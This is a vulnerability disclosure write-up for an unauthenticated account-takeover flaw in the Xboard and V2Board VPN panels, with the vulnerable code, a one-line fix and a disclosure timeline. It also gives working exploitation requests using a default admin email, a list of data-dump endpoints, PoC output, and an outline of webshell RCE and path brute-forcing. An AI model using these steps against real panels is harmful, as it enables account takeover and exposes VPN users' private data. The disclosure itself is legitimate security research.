Xboard / V2Board: Magic Link Token Leak - Unauthenticated Account Takeover

Valentin Lobstein /
Table of Contents

TL;DR

Xboard and V2Board - popular VPN/proxy management panels with a combined 12k+ GitHub stars - leak the magic login link in the API response body. One POST request with a target email gives you a fully authenticated session. No password, no email access, no interaction required.

The bug originates in V2Board (>= 1.6.1, June 2022) and was inherited by Xboard through its fork. It has been sitting in production for nearly 4 years. If you’re reading this and running one of these panels - I’m invested in this too, patch it.

Affected versions: V2Board >= 1.6.1 through 1.7.4 (abandoned), Xboard all versions through v0.1.9+. Time from git clone (16:30 CET) to is_admin: true (17:15 CET): 45 minutes.


What Are Xboard and V2Board?

V2Board is an open-source proxy protocol management panel. It handles user registration, subscription management, server provisioning, and payments for VPN/proxy services. It’s widely used, particularly in China, with nearly 9k stars on GitHub.

Xboard is a fork of V2Board with “high-performance” improvements and new features. It inherited the full V2Board codebase - including this bug. 4k+ stars.

Both panels manage sensitive data: user credentials, VPN server configurations, payment information, subscription tokens. Operators keep their inner circle small and tight - a handful of admin accounts controlling thousands of users.


Both panels offer a “login with mail link” feature. When enabled by an admin, users can request a magic login link sent to their email instead of typing a password. The flow is supposed to be:

  1. User provides their email
  2. Server generates a temporary token, builds a login URL
  3. Server sends the URL to the user’s email
  4. User clicks the link, authenticates via the token

Simple, standard, nothing wrong with this pattern. Except for step 3. Reading the code for the first time you’d be like a deer in headlights - it looks correct until it isn’t.


The Bug

Here’s the relevant code from V2Board’s AuthController.php:

public function loginWithMailLink(Request $request)
{
    // ... validation, rate limiting ...

    $user = User::where('email', $params['email'])->first();
    if (!$user) {
        return response(['data' => true]); // Privacy: don't reveal if email exists
    }

    $code = Helper::guid();
    $key = CacheKey::get('TEMP_TOKEN', $code);
    Cache::put($key, $user->id, 300);

    $link = /* ... build login URL with $code ... */;

    SendEmailJob::dispatch(/* ... send $link to user's email ... */);

    return response(['data' => $link]); // <-- THE BUG
}

The server sends the email (correct) AND returns the link in the HTTP response (not correct). The magic link containing the secret token is handed directly to whoever called the endpoint.

This looks like a simple oversight, not a backdoor. The developer even handled the privacy case correctly - when the email doesn’t exist, the function returns true to avoid leaking whether the account exists. But when the email does exist, the function returns $link instead of true, probably out of habit of returning the “result” of the operation. The intent was clearly to send the mail and move on, but the return value ended up in the HTTP response.

Xboard inherited this verbatim in MailLinkService.php:

$this->sendMailLinkEmail($user, $link);

return [true, $link]; // returned to the controller, then to the client

The fix is one line: don’t return $link. Return true instead, like they already do for non-existent emails.


Exploitation

No authentication required. Just an email address.

POST /api/v1/passport/auth/loginWithMailLink
Content-Type: application/json

{"email": "admin@demo.com"}

Response:

{
  "status": "success",
  "data": "http://target.com/#/login?verify=a3a283ae6591a63df2022f6c4e078d90&redirect=dashboard"
}

The verify token is right there in the response body.

Step 2: Exchange the token

GET /api/v1/passport/auth/token2Login?verify=a3a283ae6591a63df2022f6c4e078d90

Response:

{
  "data": {
    "token": "4e5182dd94723b037cc1f35c2c9a835b",
    "auth_data": "Bearer RcFYZ4e9egEQ...",
    "is_admin": true
  }
}

That’s it. Full admin session. Two HTTP requests, zero credentials. Nawww. That’s how easy it is.

Step 3: Dump everything

With the bearer token, you have access to all user-facing endpoints:

  • /api/v1/user/info - email, UUID, balance, subscription details
  • /api/v1/user/getSubscribe - VPN subscription token, subscribe URL
  • /api/v1/user/server/fetch - full server list with connection details
  • /api/v1/user/order/fetch - payment history
  • /api/v1/user/ticket/fetch - support tickets
  • /api/v1/user/getActiveSession - all active sessions
  • /api/v1/user/invite/fetch - invite codes

Subscription tokens, server configs, payment history - all of it, in one shot.
The attacker doesn’t need to crack anything, the API just hands it over.
Leaking this much data from a VPN panel is about as bad as it gets for user privacy.
Take an admin account and you own the entire infrastructure.
Honestly, two unauthenticated requests shouldn’t give you this much power.


Default Email in Documentation

The official Xboard documentation recommends the following quick install command:

docker compose run -it --rm \
    -e ADMIN_ACCOUNT=admin@demo.com \
    web php artisan xboard:install

Any instance deployed by a beginner who copy-pasted the docs has admin@demo.com as the admin email. Combined with this vulnerability, that’s a one-shot admin takeover with zero guessing.


Affected Versions

ProjectAffectedStatus
V2Board>= 1.6.1 (June 2022) through 1.7.4Abandoned since June 2023
XboardAll versions through v0.1.9+Active, unpatched

The bug has been in production since June 27, 2022 - nearly 4 years. Karma will catch up with them - or in this case, with the code.

A Shodan search shows 557 instances on the internet, ZoomEye finds 7,124 (2,096 on port 7001 alone). US, Hong Kong, Japan, Singapore, China. These are live VPN/proxy panels with names like “数字移民中心” (Digital Immigration Center), “梯子猫” (Ladder Cat), “小奶牛加速” (Little Cow Accelerator). Real services managing real users - some in the most isolated corners of the internet - who pay for anonymity. Each one is a single POST request away from full account takeover.

Worth noting: Xboard’s .env.example ships with a hardcoded APP_KEY (base64:PZXk5vTu...). Anyone who copies .env.example without regenerating the key gets a predictable admin panel path (144b73d9). The Docker install regenerates the key automatically, but not everyone uses Docker. I confirmed that instances with the default key exist in the wild - their admin panel is publicly accessible to anyone who knows the path.


Requirements

The feature must be enabled by an admin (login_with_mail_link_enable). It is not enabled by default. The feature doesn’t appear to be documented anywhere in the official docs or README, but it’s a toggle available in the admin panel settings. It’s the kind of thing operators enable because it’s convenient for users who don’t want to deal with passwords - a passwordless login option that just works. No documentation needed, you see the toggle, you flip it.

You also need a valid email. But let’s be real - most of these panels have a Telegram group linked on the homepage where the admin is right there chatting with users. Some have a contact page. And the registration endpoint leaks whether an email exists (“email already registered”). Between the docs defaulting to admin@demo.com, public Telegram groups, and email enumeration - it’s not rocket science, but it took me a long time to learn that.


What About RCE?

With an admin bearer token, Xboard’s v2 admin API allows theme uploads. A theme is a ZIP containing a dashboard.blade.php - which is PHP executed by Laravel’s Blade engine. Upload a theme with a webshell, activate it, and you have RCE.

The catch: admin API routes are behind a secure_path - a secret URL prefix derived from hash('crc32b', config('app.key')). Without it, you can’t reach the admin endpoints.

I tried to leak it:

  • Timing oracle: Laravel routes via hash map, no character-by-character comparison. No measurable timing difference.
  • Crypto oracle: APP_KEY is random_bytes(32). No cookies, no Crypt::encrypt(), no signed URLs, no ETag derived from it. Nothing in any API response is encrypted with or derived from the APP_KEY.
  • Path traversal to .env: Swoole normalizes all paths. Dead end.
  • Frontend JS leak: The user SPA (umi.js) contains zero references to the admin path. The admin JS reads it from window.settings which is injected server-side only on the admin page itself - which requires knowing the path to access. Circular.
  • Authenticated endpoint leak: No v1 user endpoint returns the secure_path, even for admin users.

The only option left is brute-forcing the CRC32B output space: 16^8 = ~4.3 billion possibilities. There’s a clean oracle - the admin page returns 200 on the correct path and 404 on everything else, no authentication required. At 10k requests/second with ffuf, that’s roughly 5 days. Noisy, but feasible for a motivated attacker targeting a high-value VPN panel.

For instances where the admin has set a custom secure_path instead of the CRC32B default, brute-force is impractical. The path must be at least 8 alphanumeric characters.

So: the ATO is the real finding - fully unauthenticated, no conditions beyond the feature toggle. The RCE path exists but requires discovering the admin path first. Hats off to whoever designed the secure_path system - it actually held up.


The Fix

Don’t return the link in the API response. The email delivery is the authentication factor - bypassing it defeats the entire purpose. Cut and cleave this one line and the whole vulnerability disappears (:

  $this->sendMailLinkEmail($user, $link);

- return [true, $link];
+ return [true, true];

Timeline

DateEvent
2022-06-27Bug introduced in V2Board (commit bdb10bed)
2023-06-03V2Board last release (1.7.4), project abandoned
2023-11-14Xboard forks V2Board, inherits the bug
2026-04-09Vulnerability discovered
2026-04-09Vendor notified via PR
2026-04-09CVE-2026-39912 assigned
2026-04-09Xboard PR merged

Proof of Concept

A PoC script is available that performs the full chain: account takeover and user data dump.

$ python3 poc.py http://target:7001 admin@demo.com

[INFO] Requesting magic link for admin@demo.com
[INFO] Leaked: http://target:7001/#/login?verify=267bdf61...&redirect=dashboard
[INFO] Authenticated (admin=True)
[INFO] User Info: OK
[INFO] Subscription: OK
[INFO] Active Sessions: OK
[INFO] Stats: OK

{
  "auth": {
    "auth_data": "Bearer qCU2d9hS...",
    "is_admin": true
  },
  "dump": {
    "User Info": {
      "email": "admin@demo.com",
      "uuid": "12fcb57d-e908-420e-a7aa-b5f7e7bd3695",
      ...
    },
    "Subscription": {
      "subscribe_url": "http://target:7001/s/324396af...",
      ...
    },
    "Active Sessions": [ ... ]
  }
}

Takeaway

Returning secrets in API responses is a pattern that keeps showing up.
4 years this one sat in production, across two projects, seen by thousands of developers.
Keep your magic links where they belong - in the email, not the response body.
3 things you need to exploit this: the endpoint, an email, and a curl command.
Read the code. The bugs that matter are always one line.


References